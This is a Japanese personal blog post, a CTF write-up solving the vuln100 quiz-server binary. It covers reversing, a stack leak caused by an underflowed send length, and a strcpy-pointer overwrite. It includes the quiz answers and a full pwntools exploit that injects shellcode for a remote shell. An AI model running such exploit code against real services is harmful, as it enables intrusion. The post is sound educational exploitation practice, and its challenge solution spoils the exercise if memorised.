mattun-martの日記

セキュリティとかCTFとか.早く入門したい.

pwnlist baby vuln100

下調べ

mattun-mart@4ctf:~/pwn/baby/vuln100$ file vuln100 | sed -e "s/,/\n/g"
vuln100: ELF 64-bit LSB  executable
 x86-64
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=405654ce20fe1b9e5b8cd57c1299ce770f8d3b5d
 stripped
mattun-mart@4ctf:~/pwn/baby/vuln100$ checksec.sh --file vuln100 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   vuln100

Ubuntu14.04 64bitで動かしてます.
NX,SSP無効.スタック等にシェルコード乗せて実行させるパターンかな.

解析

とりあえず実行する.何かを待ち受けてる.straceで実行してみるとポート6666で接続を待ち受けていることがわかる.
いわゆるfork-server型の問題.
ncコマンドで接続してみるとクイズゲームが始まる.

mattun-mart@4ctf:~/pwn/baby/vuln100$ nc localhost 6666
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.


It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)

面倒なのでStringコマンドで答えらしき文字列がないか探すが,見つからず仕方なくgoogle先生で検索して答えていく.(バイナリ解析していてわかったが,MD5ハッシュ値で入力された答えが正しいか判定していた)
クイズに3問正解するとニックネームの入力を促される.

rank write! your nickname:
AAAAAAAAAAAA
AAAAAAAAAAA very good ranke
game the end

これでプログラムは終了.

ニックネーム入力の部分にいろいろ入力してると改行を送った時と大量に文字を送った時バグった.
改行を送った時は変な文字が表示されていて,大量に文字を送った時はgame the endが表示されずに途中でプログラムが落ちている.

改行文字を送った時

rank write! your nickname:


z very good ranke
game the end

大量の文字を送った時

good!3
rank write! your nickname:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

おそらく,終端文字挿入していないのと,バッファーオーバーフローしてEIPが変なところに飛んでいるのがそれぞれのバグの原因.
あとは実際にバイナリの中身を見ないとわからないのでobjdumpやgdb-peda等で解析していく.

解析してみると次のような動きをしていることがわかった.

  1. 各問題の入力内容をrecvで受け取り,受け取った入力内容のMD5ハッシュ値と答えのハッシュ値を比較.間違っていた場合はプログラム終了.
  2. 3問すべて正解していた場合はユーザからニックネームの入力内容をrecvで受け取る.
  3. 受け取ったニックネームの入力内容をスタック内の別領域にmemcpyでコピー.
  4. コピーしたアドレスにニックネームの入力内容をstrcpyでコピー.
  5. コピー先アドレスに格納されているニックネームの入力内容を2文字削ってsendで送る.
  6. very good rankeとgame the endをsendで送ってプログラム終了

それで,どんなバグがあるの?

1. memcpyでバッファオーバーフローが起こる

下図に示すようにニックネームの入力内容のコピーを保存する領域の下にstrcpyの引数であるコピー先アドレスを格納する領域がある.
そのため,大量に文字を送られるとこれが書き換えられてしまう.
f:id:mattun_mart:20170916021331p:plain

具体的には0x108(264)文字を超える文字を入力するとstrcmpの引数であるコピー先アドレスが書き変わる.
これでニックネームの入力内容を好きな場所に書き込めることがわかった.

2. 極端に短い文字を入力に送るとスタックの中身がリークできる

例えば終端文字\x00をニックネームの入力として送ってみるとこんな感じで楽しいことになる.

mattun-mart@4ctf:~/pwn/baby/vuln100$ python test2.py 
[+] Opening connection to localhost on port 6666: Done

\x00\x00��\xff\xff\x7f\x00\x00xYd��\x00\x00\x00\x00\x00\x00\x00\x00\x00����\xff\x7f\x00\x00\x90
@\x00\x00\x00\x00\x00`w\x9f��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98��\xff\xff\x7f\x00\x00\x80��\xff\xff\x7f\x00\x00p��\xff\xff\x7f\x00\x000\xa6��\x00\x00\x00\x00\x00\x00\x00\x00\x00����\xff\x7f\x00\x00\x90
@\x00\x00\x00\x00\x00Y\x0c@\x00\x00\x00\x00\x000��\xff\x03\xfe\xff\xff��\xff\xff\xff\x7f\x00\x000�L�,\xab�1s\x8c\xaa\xad\x89��\x00\x00\x00,\xab�1s\x8c\xaa\xad\x89��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000��\xff\xff\x7f\x00\x00\x90
@\x00\x00\x00\x00\x00\x10���\xff\x7f\x00\x00���\xff\xff\x7f\x00\x000��\xff\xff\x7f\x00\x00h\x12@\x00\x00\x00\x00\x00\x10��\xff\xff\x7f\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x18���\xff\x7f\x00\x00\x10K\xfe�\x0030f54cbe2cabf23173198caaad89e7b9\x00\x00\x00\x00\x00\x00\x00\xa\x00\x00\x00\x00\x00He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)
\x00�v��\x7f\x00\x00eece6865e633b0ca4b5c0b32f21edfa2\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)
\x00��\xff\xff\xff\x7f\x00\x001c5442c0461e5186126aaba26edd6857\x00\x00\x00\x00\x00\x00\x00\x00\x00F\xfe��\x00It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)
\x00\xff\x7f\x00\x00��\xff\xff\x10\x00\x00\x00\x00\x88\x95\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00psy��\x00\x00\x00\x00\x00\x00\x00\x00\x00gyeongbokgung\x00\x00\x00arsenal\x00\xb5\x13@\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x90
@\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Eoe��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18���\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00�
                                                          @\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�C<ghmA_ very good ranke
game the end
\x00

何でこんなことになっているかというと
以下のように,rdxに入力した文字数が格納されたraxから0x2引いた値が格納されることが原因.

RAX: 0x0 
RBX: 0x0 
RCX: 0xfffffffffffffffe 
RDX: 0xfffffffffffffffe 
RSI: 0x7fffffffe018 --> 0x7fffffffe300 --> 0x7fffffffe339 --> 0x3cf32b80e1f2070 
RDI: 0x7fffffffd9e1 --> 0x7800007fffffffda 
RBP: 0x7fffffffdf30 --> 0x0 
RSP: 0x7fffffffdb00 --> 0x7fffffffdc10 ("am Style. Who is he?(only small letter)\n")
RIP: 0x401252 (mov    rsi,QWORD PTR [rip+0x200e7f]        # 0x6020d8)
R8 : 0x0 
R9 : 0x0 
R10: 0x7fffffffd790 --> 0x0 
R11: 0x7ffff77b0fa0 --> 0xfff239c0fff239b0 
R12: 0x400a90 (xor    ebp,ebp)
R13: 0x7fffffffe010 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401247:	not    rax
   0x40124a:	sub    rax,0x1
   0x40124e:	lea    rdx,[rax-0x2] # rdxはsendで送るデータのサイズが入る
=> 0x401252:	mov    rsi,QWORD PTR [rip+0x200e7f]        # 0x6020d8
   0x401259:	mov    eax,DWORD PTR [rbp-0x8]
   0x40125c:	mov    ecx,0x0
   0x401261:	mov    edi,eax
   0x401263:	call   0x400a20 <send@plt>

このrdxにはsendで送るデータサイズの値が入っており,1文字以下だとsendのサイズがとんでもなくでかくなってしまう.

   0x401259:	mov    eax,DWORD PTR [rbp-0x8]
   0x40125c:	mov    ecx,0x0
   0x401261:	mov    edi,eax
=> 0x401263:	call   0x400a20 <send@plt>
   0x401268:	mov    eax,DWORD PTR [rbp-0x8]
   0x40126b:	mov    ecx,0x0
   0x401270:	mov    edx,0x10
   0x401275:	mov    esi,0x401523
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0x7fffffffd9e0 --> 0x7fffffffda00 --> 0x400a90 (xor    ebp,ebp)
arg[2]: 0xfffffffffffffffe # 送るデータサイズ
arg[3]: 0x0 

つまり,コピーしたニックネームデータ以降のスタックの中身を送ってしまうことになる.これがよくわからない文字列の正体.
ここでさっきのスタックの図を見ればわかるが,nickname_copy_dataの先にはnickname_copy_dataのアドレスが格納されている.
ということは,リークしたスタックの中身からニックネームの入力データが入ったアドレスを特定できるので,ニックネームの入力にシェルコード積んでここに飛んでやれば良さそう.
今回fork-server型の問題なので親プロセスが死なない限り,リークしたスタックのアドレスが変わることもない.

Exploit

ってことで,Exploitを組み立てていく.
NXとSSPが無効なので,ニックネームの入力にシェルコードを積んで,どうにかしてリークしたスタックから得たニックネームの入力(memcpyのコピー)を格納したアドレスに飛んでやればよさそう.
ただ,どうやってスタックのリターンアドレスを書き換えるかが問題.
memcpyのコピーの時にリターンアドレスを書き換えてやるのが一番楽そうだが,リターンアドレスの前にstrcpyのコピー先アドレスを格納する領域が邪魔でうまくいかない.
コピー先アドレスを格納する部分だけにアドレスを書いておいてプログラムが落ちないようにし,リターンアドレスを書き換える方法も考えられるが,アドレスに\x00が入ってしまうためそれ以降の入力を送ることができないのでこれもダメ.

今回はstrcpyの書き込み先は自由に変更できるので,これをうまく利用する.
strcpyのときに0x10ずらして書き込むことでうまくリターンアドレスをシェルコードを積んでいるニックネームの入力を保存している領域のアドレスに指定できる.
下の図のような流れ.青い枠はニックネームの入力.(わかりづらくてすみません...)

あとはExploit書く.
f:id:mattun_mart:20170916031150p:plain

#!usr/bin/env python
# -*- coding:utf-8 =*-
from pwn import *
import struct
import time

context.arch = 'amd64'
host = 'localhost'
port = 6666

def solve_quiz(conn):
    conn.send("arsenal\n")
    time.sleep(0.01)
    conn.send("gyeongbokgung\n")
    time.sleep(0.01)
    conn.send("psy\n")
    time.sleep(0.01)

def leak_stack_addr(conn):
    solve_quiz(conn)
    conn.send("\x00")
    conn.recvuntil("nickname:")
    leak_stack = conn.recv()

    leak_addr = u64(leak_stack[266:272] + "\x00\x00")
    return leak_addr

conn = remote(host,port)
leak_addr = leak_stack_addr(conn)

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

payload = shellcode
payload += "A" * (264 - len(shellcode))
payload += p64(leak_addr + 16)

print hex(leak_addr)
conn = remote(host,port)
solve_quiz(conn)
conn.send(payload)
time.sleep(0.1)
conn.recv()

conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/vuln100$ python exploit2.py 
[+] Opening connection to localhost on port 6666: Done
0x7fffabd7efd0
[+] Opening connection to localhost on port 6666: Done
[*] Switching to interactive mode
$ ls
dump
etest.py
exploit.py
exploit2.py
peda-session-ls.txt
peda-session-vuln100.txt
test2.py
vuln100
$ exit
[*] Got EOF while reading in interactive

無事シェルが起動.
やったことまとめるのめっちゃ時間かかるなぁ...